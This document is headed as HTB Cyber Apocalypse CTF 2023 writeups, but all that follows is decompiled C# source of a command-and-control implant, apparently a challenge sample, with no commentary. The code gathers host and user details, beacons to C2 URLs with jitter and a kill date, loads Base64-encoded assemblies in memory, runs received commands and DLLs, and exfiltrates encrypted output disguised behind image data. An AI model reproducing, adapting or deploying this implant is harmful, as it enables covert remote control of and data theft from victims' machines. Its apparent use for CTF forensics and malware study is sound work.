HTB Cyber Apocalypse CTF 2023 Writeups

  private static void primer()
  {
    if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", (IFormatProvider) CultureInfo.InvariantCulture) > DateTime.Now))
      return;
    Program.dfs = 0;
    string str1;
    try
    {
      str1 = WindowsIdentity.GetCurrent().Name;
    }
    catch
    {
      str1 = Environment.UserName;
    }
    if (Program.ihInteg())
      str1 += "*";
    string userDomainName = Environment.UserDomainName;
    string environmentVariable1 = Environment.GetEnvironmentVariable("COMPUTERNAME");
    string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
    int id = Process.GetCurrentProcess().Id;
    string processName = Process.GetCurrentProcess().ProcessName;
    Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
    string input = (string) null;
    string baseURL = (string) null;
    foreach (string str2 in Program.basearray)
    {
      string un = string.Format("{0};{1};{2};{3};{4};{5};1", (object) userDomainName, (object) str1, (object) environmentVariable1, (object) environmentVariable2, (object) id, (object) processName);
      string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
      baseURL = str2;
      string address = baseURL + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
      try
      {
        string enc = Program.GetWebRequest(Program.Encryption(key, un)).DownloadString(address);
        input = Program.Decryption(key, enc);
        break;
      }
      catch (Exception ex)
      {
        Console.WriteLine(string.Format(" > Exception {0}", (object) ex.Message));
      }
      ++Program.dfs;
    }
    string RandomURI = !string.IsNullOrEmpty(input) ? new Regex("RANDOMURI19901(.*)10991IRUMODNAR").Match(input).Groups[1].ToString() : throw new Exception();
    string stringURLS = new Regex("URLS10484390243(.*)34209348401SLRU").Match(input).Groups[1].ToString();
    string KillDate = new Regex("KILLDATE1665(.*)5661ETADLLIK").Match(input).Groups[1].ToString();
    string Sleep = new Regex("SLEEP98001(.*)10089PEELS").Match(input).Groups[1].ToString();
    string Jitter = new Regex("JITTER2025(.*)5202RETTIJ").Match(input).Groups[1].ToString();
    string Key = new Regex("NEWKEY8839394(.*)4939388YEKWEN").Match(input).Groups[1].ToString();
    string stringIMGS = new Regex("IMGS19459394(.*)49395491SGMI").Match(input).Groups[1].ToString();
    Program.ImplantCore(baseURL, RandomURI, stringURLS, KillDate, Sleep, Key, stringIMGS, Jitter);
  }

private static void ImplantCore(
    string baseURL,
    string RandomURI,
    string stringURLS,
    string KillDate,
    string Sleep,
    string Key,
    string stringIMGS,
    string Jitter)
  {
    Program.UrlGen.Init(stringURLS, RandomURI, baseURL);
    Program.ImgGen.Init(stringIMGS);
    Program.pKey = Key;
    int num = 5;
    System.Text.RegularExpressions.Match match1 = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled).Match(Sleep);
    if (match1.Success)
      num = Program.Parse_Beacon_Time(match1.Groups["t"].Value, match1.Groups["u"].Value);
    StringWriter newOut = new StringWriter();
    Console.SetOut((TextWriter) newOut);
    ManualResetEvent manualResetEvent = new ManualResetEvent(false);
    StringBuilder stringBuilder1 = new StringBuilder();
    double result = 0.0;
    if (!double.TryParse(Jitter, NumberStyles.Any, (IFormatProvider) CultureInfo.InvariantCulture, out result))
      result = 0.2;
    while (!manualResetEvent.WaitOne(new Random().Next((int) ((double) (num * 1000) * (1.0 - result)), (int) ((double) (num * 1000) * (1.0 + result)))))
    {
      if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", (IFormatProvider) CultureInfo.InvariantCulture) < DateTime.Now)
      {
        Program.Run = false;
        manualResetEvent.Set();
      }
      else
      {
        stringBuilder1.Length = 0;
        try
        {
          string cmd = (string) null;
          string str1;
          try
          {
            cmd = Program.GetWebRequest((string) null).DownloadString(Program.UrlGen.GenerateUrl());
            str1 = Program.Decryption(Key, cmd).Replace("\0", string.Empty);
          }
          catch
          {
            continue;
          }
          if (str1.ToLower().StartsWith("multicmd"))
          {
            string str2 = str1.Replace("multicmd", "");
            string[] separator = new string[1]
            {
              "!d-3dion@LD!-d"
            };
            foreach (string input in str2.Split(separator, StringSplitOptions.RemoveEmptyEntries))
            {
              Program.taskId = input.Substring(0, 5);
              cmd = input.Substring(5, input.Length - 5);
              if (cmd.ToLower().StartsWith("exit"))
              {
                Program.Run = false;
                manualResetEvent.Set();
                break;
              }
              if (cmd.ToLower().StartsWith("loadmodule"))
              {
                Assembly.Load(Convert.FromBase64String(Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase)));
                Program.Exec(stringBuilder1.ToString(), Program.taskId, Key);
              }
              else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
              {
                Thread thread = new Thread((ThreadStart) (() => Program.rAsm(cmd)));
                Program.Exec("[+] Running background task", Program.taskId, Key);
                thread.Start();
              }
              else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
                stringBuilder1.AppendLine(Program.rAsm(cmd));
              else if (cmd.ToLower().StartsWith("beacon"))
              {
                System.Text.RegularExpressions.Match match2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled).Match(input);
                if (match2.Success)
                  num = Program.Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
                else
                  stringBuilder1.AppendLine(string.Format("[X] Invalid time \"{0}\"", (object) input));
                Program.Exec("Beacon set", Program.taskId, Key);
              }
              else
                Program.rAsm(string.Format("run-exe Core.Program Core {0}", (object) cmd));
              stringBuilder1.AppendLine(newOut.ToString());
              StringBuilder stringBuilder2 = newOut.GetStringBuilder();
              stringBuilder2.Remove(0, stringBuilder2.Length);
              if (stringBuilder1.Length > 2)
                Program.Exec(stringBuilder1.ToString(), Program.taskId, Key);
              stringBuilder1.Length = 0;
            }
          }
        }
        catch (NullReferenceException ex)
        {
        }
        catch (WebException ex)
        {
        }
        catch (Exception ex)
        {
          Program.Exec(string.Format("Error: {0} {1}", (object) stringBuilder1.ToString(), (object) ex), "Error", Key);
        }
        finally
        {
          stringBuilder1.AppendLine(newOut.ToString());
          StringBuilder stringBuilder3 = newOut.GetStringBuilder();
          stringBuilder3.Remove(0, stringBuilder3.Length);
          if (stringBuilder1.Length > 2)
            Program.Exec(stringBuilder1.ToString(), "99999", Key);
          stringBuilder1.Length = 0;
        }
      }
    }
  }

  public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
  {
    if (string.IsNullOrEmpty(key))
      key = Program.pKey;
    string cookie = Program.Encryption(key, taskId);
    byte[] imgData = Program.ImgGen.GetImgData(Convert.FromBase64String(encByte == null ? Program.Encryption(key, cmd, true) : Program.Encryption(key, (string) null, true, encByte)));
    int num = 0;
    while (num < 5)
    {
      ++num;
      try
      {
        Program.GetWebRequest(cookie).UploadData(Program.UrlGen.GenerateUrl(), imgData);
        num = 5;
      }
      catch
      {
      }
    }
  }

  internal static class ImgGen
  {
    private static Random _rnd = new Random();
    private static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
    private static List<string> _newImgs = new List<string>();

    internal static void Init(string stringIMGS) => Program.ImgGen._newImgs = Program.ImgGen._re.Matches(stringIMGS.Replace(",", "")).Cast<System.Text.RegularExpressions.Match>().Select<System.Text.RegularExpressions.Match, string>((Func<System.Text.RegularExpressions.Match, string>) (m => m.Value)).Where<string>((Func<string, bool>) (m => !string.IsNullOrEmpty(m))).ToList<string>();

    private static string RandomString(int length) => new string(Enumerable.Repeat<string>("...................@..........................Tyscf", length).Select<string, char>((Func<string, char>) (s => s[Program.ImgGen._rnd.Next(s.Length)])).ToArray<char>());

    internal static byte[] GetImgData(byte[] cmdoutput)
    {
      int num = 1500;
      int length = cmdoutput.Length + num;
      byte[] sourceArray = Convert.FromBase64String(Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)]);
      byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - sourceArray.Length));
      byte[] destinationArray = new byte[length];
      Array.Copy((Array) sourceArray, 0, (Array) destinationArray, 0, sourceArray.Length);
      Array.Copy((Array) bytes, 0, (Array) destinationArray, sourceArray.Length, bytes.Length);
      Array.Copy((Array) cmdoutput, 0, (Array) destinationArray, sourceArray.Length + bytes.Length, cmdoutput.Length);
      return destinationArray;
    }
  }
}